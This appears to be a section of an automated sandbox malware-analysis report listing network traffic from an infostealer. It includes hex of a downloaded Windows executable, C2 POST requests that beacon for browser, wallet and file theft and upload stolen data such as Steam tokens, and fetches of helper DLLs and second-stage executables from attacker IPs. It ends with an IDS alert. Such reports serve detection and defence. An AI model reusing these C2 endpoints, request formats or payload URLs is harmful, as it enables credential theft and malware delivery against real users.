Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 03 Jan 2025 14:22:19 GMTContent-Type: application/octet-streamContent-Length: 50265898Last-Modified: Thu, 02 Jan 2025 16:23:47 GMTConnection: keep-aliveETag: "6776bd93-2feff2a"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 90 4e cd 19 f1 20 9e 19 f1 20 9e 19 f1 20 9e ad 6d d1 9e 15 f1 20 9e ad 6d d3 9e b2 f1 20 9e ad 6d d2 9e 01 f1 20 9e 22 af 23 9f 0b f1 20 9e 22 af 25 9f 04 f1 20 9e 22 af 24 9f 0b f1 20 9e c4 0e eb 9e 10 f1 20 9e 19 f1 21 9e 6d f1 20 9e 8b af 24 9f 08 f1 20 9e 8b af df 9e 18 f1 20 9e 8b af 22 9f 18 f1 20 9e 52 69 63 68 19 f1 20 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 a3 d3 11 5e 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 f0 01 00 00 14 02 00 00 00 00 00 d3 7c 00 00 00 10 00 00 00 00 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 04 00 00 04 00 00 f8 f4 ff 02 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c a8 02 00 64 00 00 00 00 c0 03 00 de 5d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 b4 17 00 00 f0 9e 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 9f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 04 ee 01 00 00 10 00 00 00 f0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 06 b2 00 00 00 00 02 00 00 b4 00 00 00 f4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 e6 00 00 00 c0 02 00 00 0a 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 b8 00 00 00 00 b0 03 00 00 02 00 00 00 b2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 de 5d 00 00 00 c0 03 00 00 5e 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b4 17 00 00 00 20 04 00 00 18 00 00 00 12 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 43 37 34 39 33 34 43 42 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="hwid"C2C74934CBEB3294564547------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="build"stok------JDBFIIEBGCAKKEBFBAAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIIIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"browsers------ECAKECAEGDHIECBGHIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDHDGCBFBKECBFHCAFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 48 2d 2d 0d 0a Data Ascii: ------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------GIDHDGCBFBKECBFHCAFHContent-Disposition: form-data; name="message"plugins------GIDHDGCBFBKECBFHCAFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="message"fplugins------ECGDBAEHIJKKFHIEGCBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.206Content-Length: 7723Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBAHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file"------KFCBAEHCAEGDHJKFHJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHCFCBKKJDGCAKFCFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 2d 2d 0d 0a Data Ascii: ------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="file"------CAEHCFCBKKJDGCAKFCFI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECFIECBGDGCAAAEHIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="message"wallets------JJECFIECBGDGCAAAEHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="message"files------KJKKKJJJKJKFHJJJJECB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 2d 2d 0d 0a Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="file"------AAEBAFBGIDHCBFHIECFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 35 32 38 37 37 42 30 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB52877B05F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 2d 2d 0d 0a Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="message"ybncbhylepme------CBFBGCGIJKJJKFIDBFCG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/7254021059/abu7zly.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 32 62 36 39 38 63 63 61 61 62 32 62 36 36 35 32 36 37 61 30 32 64 61 63 30 65 65 65 36 33 61 37 65 66 61 64 63 63 39 65 37 33 35 39 61 39 38 32 63 65 66 39 63 33 66 35 65 66 65 66 65 37 34 39 64 62 62 39 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 2d 2d 0d 0a Data Ascii: ------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="token"aa2b698ccaab2b665267a02dac0eee63a7efadcc9e7359a982cef9c3f5efefe749dbb903------DAEGIDHDHIDGIEBGIJEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAEGIDHDHIDGIEBGIJEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 39 38 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1029869001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 39 39 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1029919001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/nsx/random.exe HTTP/1.1Host: 31.41.244.11

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49764 -> 104.21.112.1:443
